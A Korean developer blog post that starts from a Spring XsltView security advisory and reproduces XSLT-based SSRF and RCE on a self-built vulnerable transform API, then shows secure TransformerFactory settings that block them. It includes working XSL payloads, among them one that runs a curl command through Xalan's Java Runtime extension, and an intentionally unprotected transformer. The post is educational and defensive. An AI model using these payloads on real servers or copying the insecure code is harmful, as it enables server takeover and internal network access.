Spring XsltView 보안 알림을 계기로 살펴본 XSLT SSRF와 RCE
GitHub에서 Dependabot 알림이 오면...
룰루랄라🎵🎶 하고... mvnrepository 사이트 가서 버전업하는 게 취미였는데.😅
이번 건 좀 특이했다.
스프링 6.2.19 최신으로 올렸는데도 Dependabot 알림의 패치 버전이
None으로 표시되어 해결되지 않는 것이었다.확인해보니 사용 중이던 Spring 6.2 계열의 오픈소스(OSS) 지원 정책상 패치 버전이 상용(Enterprise) 지원 전용(6.2.20)으로 분리되어 있었고, 오픈소스 최신 버전은 Spring Framework 7.0.9로 릴리스된 상태였다.
xslt 관련 취약점이라는데... 호기심이 발동하여 Spring MVC 프로젝트를 만들고, 신뢰하지 않는 XSL을 처리할 때 어떤 원리로 SSRF와 RCE가 발생하는지 직접 확인해보기로 했다! 👍
⚠️ 실험 범위에 대한 주의사항
이번 글은 Spring
XsltView보안 알림을 계기로, 신뢰할 수 없는 XSL을 서버에서 직접 변환할 때 SSRF와 RCE가 어떻게 일어나는지 직접 구현한 변환 API로 확인해본 실험입니다. Spring 공식 보안 공지에 나온XsltView의 URL 경로 처리 및 뷰 이름 해석 취약점을 프레임워크 레벨에서 직접 재현한 것과는 범위가 다르다는 점을 참고해주세요!💡이전에 작성했던 아래 글의 레거시 Spring MVC 프로젝트 뼈대를 활용했다.
Dependabot의 알림
Spring Framework Improper Path Limitation in XsltView #22
Vulnerability found in your code
Package org.springframework:spring-webmvc (Maven) Affected versions >= 6.2.0, <= 6.2.19 Patched version None (현재 6.2 계열 OSS 기준) Use of XsltView in a Spring MVC application can result in SSRF and RCE attack if the application has an "/**" mapping that results in view rendering, and where the view name is not explicitly specified.
Spring Framework 7.0.0 - 7.0.8 (수정: 7.0.9 - OSS)
Spring Framework 6.2.0 - 6.2.19 (수정: 6.2.20 - 기업 지원 전용)
Spring Framework 6.1.0 - 6.1.28
Spring Framework 6.0.0 - 6.0.30
Spring Framework 5.3.0 - 5.3.49
Spring Framework 5.2.25.RELEASE and earlier
Spring 공식 보안 공지()에 따르면, 오픈소스 7.0.9 버전과 기업 지원 6.2.20 버전에서 해당 취약점이 수정되었다.
공지 본문의 핵심 요약은 다음과 같다:
Spring MVC 애플리케이션에서
XsltView를 사용할 때, 만약 애플리케이션에 뷰 렌더링을 유발하는/**매핑이 존재하고 뷰 이름이 명시적으로 지정되지 않은 경우, 요청 경로가 뷰 이름으로 해석되어 악의적인 외부 리소스를 참조하거나 실행하면서 SSRF 및 RCE 공격으로 이어질 수 있습니다.
RCE (Remote Code Execution)
공격자가 공격 대상 서버에서 임의의 코드나 운영체제 명령을 실행할 수 있는 취약점이다.
SSRF (Server-Side Request Forgery)
공격자가 취약한 서버를 속여서, 그 서버가 접근 가능한 내부망 또는 외부 리소스에 대신 요청을 보내게 만들고 그 응답을 탈취하거나 내부망을 탐색하는 공격이다.
SSRF와 RCE 차이
| 구분 | SSRF | RCE |
|---|---|---|
| 핵심 행위 | 서버가 대신 네트워크 요청을 보냄 | 서버가 임의 명령/코드를 실행함 |
| 주된 대상 | 내부 URL, 메타데이터, 내부 API | 운영체제 명령, 애플리케이션 코드 |
| 예 | http://127.0.0.1/admin 호출 | whoami, curl, cmd.exe 실행 |
| 결과 | 내부 정보 유출, 내부망 스캔 | 서버 완전 장악 가능 |
| 위험도 | 높음 | 매우 높음 |
그런데 XSLT는 뭐지? Excel인가?
그동안 Spring 개발을 하면서 XSLT를 직접 다뤄본 적이 없어서, 처음에는 엑셀 관련 기능인가 착각했었다.😅
💡 XSLT(Extensible Stylesheet Language Transformations)는 XML 문서를 다른 형식(HTML, 또 다른 XML, 텍스트 등)으로 변환하기 위해 만들어진 XML 기반 스타일시트 언어이다.
그렇다면 "서버가 입력받는 XML 데이터에 악의적인 내용을 넣는 것인가?"라는 의문이 생길 수 있다.
하지만 이번 취약점의 핵심 입력은 XML 데이터가 아니라 XSL 스타일시트이다!
XSL 안에서 외부 URL을 불러오거나(document()), 자바 런타임 클래스를 호출하는 확장 기능을 악용할 때 SSRF와 RCE가 발생한다.
원리를 명확히 이해하기 위해 직접 XSLT 변환 API와 테스트 코드를 작성해봤다.
XSLT 예제 작성
레거시 Spring MVC 예제 프로젝트:
기존에 작성해두었던 레거시 Spring MVC 프로젝트에 XSLT 변환 서비스와 컨트롤러를 추가했다.
필요한 라이브러리
spring-webmvc
XSLT 변환 기능은 spring-webmvc 및 JDK의 JAXP(javax.xml.transform) 패키지에 기본 내장되어 있어 별도 XSLT 라이브러리를 추가하지 않아도 된다.
Jackson (JSON 처리 및 날짜 모듈)
테스트 편의상 JSON API 형태로 요청을 주고받기 위해 @RequestBody, @ResponseBody 처리에 필요한 Jackson 의존성을 추가했다.
<!-- Jackson -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>${jackson.version}</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
<version>${jackson.version}</version>
</dependency>💡 참고: 예제에서 예외 발생 시
ProblemDetail에timestamp속성으로 Java 8Instant타입을 넣어 반환하는데, 이를 직렬화하기 위해RootConfig에JavaTimeModule을 등록한ObjectMapper빈을 구성했다.
ObjectMapper objectMapper() {
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.registerModule(new JavaTimeModule());
objectMapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);
return objectMapper;
}이 빈은 테스트 코드(
@Autowired private ObjectMapper objectMapper)에서 MockMvc 요청 JSON을 생성할 때도 유용하게 사용된다.
XSLT API 컨트롤러 (XsltTestController)
컨트롤러는 단순하게 취약 버전과 보안 설정 버전 두 가지 API 메서드를 제공한다.
/api/transform/vulnerable: 보안 설정 없이 XSLT 변환을 수행하는 API/api/transform/secure: 보안 설정을 적용하여 안전하게 XSLT 변환을 수행하는 API
XSLT 서비스 (XsltTestService)
취약한 서비스 코드는 다음과 같다. 사용자가 전달한 XSL을 아무런 제약 없이 TransformerFactory로 컴파일하여 변환을 수행한다.
/** XSLT 취약점이 있는 코드 */
public String transformXmlVulnerable(TransformRequest request) throws TransformerException {
Source xmlSource = new StreamSource(new StringReader(request.getXml()));
Source xslSource = new StreamSource(new StringReader(request.getXsl()));
StringWriter writer = new StringWriter();
Result outputResult = new StreamResult(writer);
// 💢 보안 설정이 없는 TransformerFactory 사용
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(xslSource);
transformer.transform(xmlSource, outputResult);
return writer.toString();
}이 상태에서는 XSL 내부에 악의적인 페이로드가 포함되어 있을 경우 서버에서 그대로 실행된다.
💡 XSLT 변환기 보안 설정 (transformXmlSecure)
신뢰할 수 없는 XSLT를 처리하는 직접 구현 코드에서는 TransformerFactory에 다음과 같은 보안 속성을 지정해야 한다.
TransformerFactory factory = TransformerFactory.newInstance();
// 💡 보안 처리 기능 활성화 및 외부 접근 차단
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");| 설정 | 의미 |
|---|---|
FEATURE_SECURE_PROCESSING | 안전 모드를 활성화하여 자원 소모 제한 및 Java 확장 기능 제한 |
ACCESS_EXTERNAL_DTD | 외부 DTD 접근 차단 |
ACCESS_EXTERNAL_STYLESHEET | document(), <xsl:include> 등을 통한 외부 스타일시트/리소스 로딩 차단 |
⚠️ 주의: 위 설정은 이 서비스 메서드(
XsltTestService)가 직접 생성한TransformerFactory인스턴스에 적용되는 방어책입니다. Spring 프레임워크 내부XsltView의 경로 처리 취약점을 자동으로 막아주는 것은 아니며, 본 예제 API 환경에서 페이로드가 차단되는지 검증하기 위한 설정입니다.
취약점 동작 검증 테스트 (XsltTestControllerTests)
MockMvc를 활용하여 SSRF와 RCE 공격 페이로드가 실제로 실행되는지, 그리고 보안 설정을 적용했을 때 정상적으로 차단되는지 테스트를 작성했다.
💡 가상 내부망 서버 (HttpServer) 구성: 테스트 클래스 내에서 로컬 루프백(
127.0.0.1)으로 임시HttpServer를 띄워 내부망 서버 A를 모형화했다.
/ssrf-poc.xml: SSRF 발생 시 XML 데이터를 응답하는 엔드포인트
/rce-check: RCE로 실행된curl명령이 호출할 콜백 엔드포인트
testTransformXmlVulnerable_SSRF)
![]() |
| SSRF 흐름도 |
공격 원리: XSL의
document('http://127.0.0.1:.../ssrf-poc.xml')함수를 사용하면 서버의 XSLT 엔진이 지정된 URL로 직접 HTTP 요청을 보낸다.검증 방식:
공격 대상 서버의
/api/transform/vulnerable에 악성 XSL 전달변환 결과 HTML에 내부 서버 A의 응답 데이터(
SSRF_OK)가 포함되어 있는지 확인내부 서버 A에 실제로 요청이 도달했는지(
awaitCallbackRequested
<!-- SSRF 페이로드 XSL -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<pre><xsl:value-of select="document('http://127.0.0.1:.../ssrf-poc.xml')/root/value"/></pre>
</body>
</html>
</xsl:template>
</xsl:stylesheet>testTransformXmlVulnerable_RCE)
![]() |
| RCE 흐름도 |
공격 원리: Xalan 등의 XSLT 프로세서는 네임스페이스를 통해 자바 클래스를 호출하는 확장 기능(Extension Functions)을 지원한다.
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"을 선언하고rt:exec($runtime, 'curl ...')를 호출하면 서버의Runtime.getRuntime().exec()가 실행된다.검증 방식:
공격 대상 서버에서
curl -s http://127.0.0.1:.../rce-check명령을 실행하도록 XSL 전송내부 서버 A의 콜백 엔드포인트가 호출되었는지(
awaitCallbackRequested) 확인하여 원격 명령 실행을 입증
GUI 테스트:
testTransformXmlVulnerable_RCE_SimpleCommandExecution(): 윈도우 환경에서 실제로winver.exe창이 뜨는지 직접 눈으로 확인해볼 수 있는 테스트 (기본적으로@Disabled
<!-- RCE 페이로드 XSL -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="runtime" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($runtime, 'curl -s http://127.0.0.1:.../rce-check')"/>
</xsl:template>
</xsl:stylesheet>![]() |
| testTransformXmlVulnerable_RCE_SimpleCommandExecution() 테스트를 실행하면 winver.exe가 실행된다. |
3. 보안 설정 적용 후 방어 검증 (testTransformXmlSecure_SSRF, testTransformXmlSecure_RCE)
보안 설정을 추가한 /api/transform/secure 엔드포인트로 동일한 SSRF/RCE 페이로드를 전송했다.
결과:
TransformerFactory가 외부 리소스 접근 및 안전하지 않은 확장을 거부하면서TransformerException발생컨트롤러 어드바이스(
GlobalExceptionHandler)를 통해400 Bad Request반환내부 서버 A에 대한 콜백이 전혀 발생하지 않음(
assertCallbackNotRequested)을 확인
{
"type": "about:blank",
"title": "Invalid XSLT transformation request",
"status": 400,
"detail": "The supplied XML/XSLT could not be processed.",
"instance": "/api/transform/secure",
"timestamp": 1792838958.354957600
}정리하며
이번 실험을 통해 다음과 같은 점들을 배울 수 있었다.
XSLT 취약점의 본질: XML 파싱 취약점(XXE)뿐만 아니라, XSLT 변환 과정에서도 스타일시트(
document()함수나 Java 확장 기능)를 통해 SSRF와 RCE가 발생할 수 있음을 체감했다.보안 설정의 중요성: 신뢰할 수 없는 외부 입력을 XSLT 엔진으로 처리할 때는 반드시
FEATURE_SECURE_PROCESSING,ACCESS_EXTERNAL_DTD,ACCESS_EXTERNAL_STYLESHEET설정을 활성화해야 한다.공식 공지와의 구분: 이번 실험은 직접 구현한 XSLT 변환기의 위험성을 확인한 것이며, Spring 공식 공지(CVE-2026-47884)의
XsltView취약점은 프레임워크 단의 URL 매핑 및 뷰 이름 결정 로직과 관련된 문제이므로 최신 패치 버전을 적용하는 것이 근본적인 해결책이다.
퍼머링크: spring-xslt-ssrf-rce-experiment



댓글
댓글 쓰기